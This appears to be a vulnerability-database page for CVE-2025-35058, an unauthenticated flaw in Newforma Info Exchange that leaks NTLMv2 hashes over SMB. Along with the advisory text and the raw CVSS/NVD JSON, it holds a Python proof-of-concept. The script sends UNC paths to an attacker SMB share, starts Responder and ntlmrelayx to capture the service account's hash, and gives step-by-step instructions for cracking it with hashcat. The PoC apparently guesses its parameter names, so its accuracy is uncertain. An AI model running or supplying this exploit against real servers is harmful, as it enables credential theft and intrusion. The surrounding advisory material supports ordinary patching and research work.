Security Vulnerability Report
中文
CVE-2025-35058 CVSS 5.9 MEDIUM

CVE-2025-35058

Published: 2025-10-09 21:15:37
Last Modified: 2025-10-22 16:51:25
Source: 9119a7d8-5eab-497f-8521-727c672e3725

Description

Newforma Info Exchange (NIX) '/UserWeb/Common/MarkupServices.ashx' allows a remote, unauthenticated attacker to cause NIX to make an SMB connection to an attacker-controlled system. The attacker can capture the NTLMv2 hash of the customer-configured NIX service account.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:newforma:project_center:*:*:*:*:*:*:*:* - VULNERABLE
Newforma Info Exchange (NIX) - 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-35058 PoC - NTLMv2 Hash Capture via MarkupServices.ashx # This PoC demonstrates how to trigger NIX to leak NTLMv2 hash to an attacker-controlled SMB server import requests import threading import subprocess import sys TARGET_URL = "https://target-nix-server/UserWeb/Common/MarkupServices.ashx" ATTACKER_SMB_SERVER = "\\\\ATTACKER_IP\\\\evilshare" def trigger_ntlm_leak(target_url, smb_path): """ Send a crafted request to MarkupServices.ashx to force NIX to initiate an SMB connection to the attacker's server. The request includes a UNC path pointing to the attacker's SMB server. """ # Craft payload with UNC path reference payload = { "file": smb_path, "path": smb_path, "url": smb_path, "imageUrl": smb_path, "source": smb_path } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=payload, headers=headers, timeout=10) print(f"[+] Request sent. Status: {response.status_code}") except Exception as e: print(f"[-] Request failed: {e}") def start_smb_listener(interface="eth0"): """ Start Responder to capture NTLMv2 hashes from incoming SMB connections. Responder should be configured to listen on the attacker-controlled IP. """ print("[*] Starting Responder to capture NTLMv2 hashes...") # Command: responder -I eth0 -wrf # Hashes will be saved to /usr/share/responder/logs/ subprocess.run([ "responder", "-I", interface, "-wrf" ]) def start_ntlmrelayx(capture_only=True): """ Alternative: Use Impacket's ntlmrelayx to capture and relay NTLMv2 hashes. """ print("[*] Starting ntlmrelayx to capture NTLMv2 hashes...") # Command: impacket-ntlmrelayx -smb2support -t smb://TARGET subprocess.run([ "impacket-ntlmrelayx", "-smb2support", "-of", "captured_hashes.txt" ]) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_nix_url>") sys.exit(1) target = sys.argv[1] # Start SMB listener in a separate thread listener_thread = threading.Thread(target=start_smb_listener, daemon=True) listener_thread.start() # Trigger the vulnerability trigger_ntlm_leak(target, ATTACKER_SMB_SERVER) print("[*] Waiting for NTLMv2 hash capture...") print("[*] Check Responder logs for captured hashes.") print("[*] Crack the hash with: hashcat -m 5600 captured_hash.txt wordlist.txt") # Steps to exploit: # 1. Set up attacker machine with Responder or ntlmrelayx listening for SMB connections # 2. Modify ATTACKER_SMB_SERVER to point to your IP # 3. Run: python3 poc.py https://target-nix-server # 4. The NIX server will connect to your SMB server and leak the service account NTLMv2 hash # 5. Crack the hash offline using Hashcat (mode 5600) or John the Ripper

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-35058", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-10-09T21:15:36.983", "lastModified": "2025-10-22T16:51:24.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Newforma Info Exchange (NIX) '/UserWeb/Common/MarkupServices.ashx' allows a remote, unauthenticated attacker to cause NIX to make an SMB connection to an attacker-controlled system. The attacker can capture the NTLMv2 hash of the customer-configured NIX service account."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-294"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:newforma:project_center:*:*:*:*:*:*:*:*", "versionEndExcluding": "2023.2", "matchCriteriaId": "A2311F48-254E-4BBB-A6E0-68B7D8864C34"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-282-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-35058", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}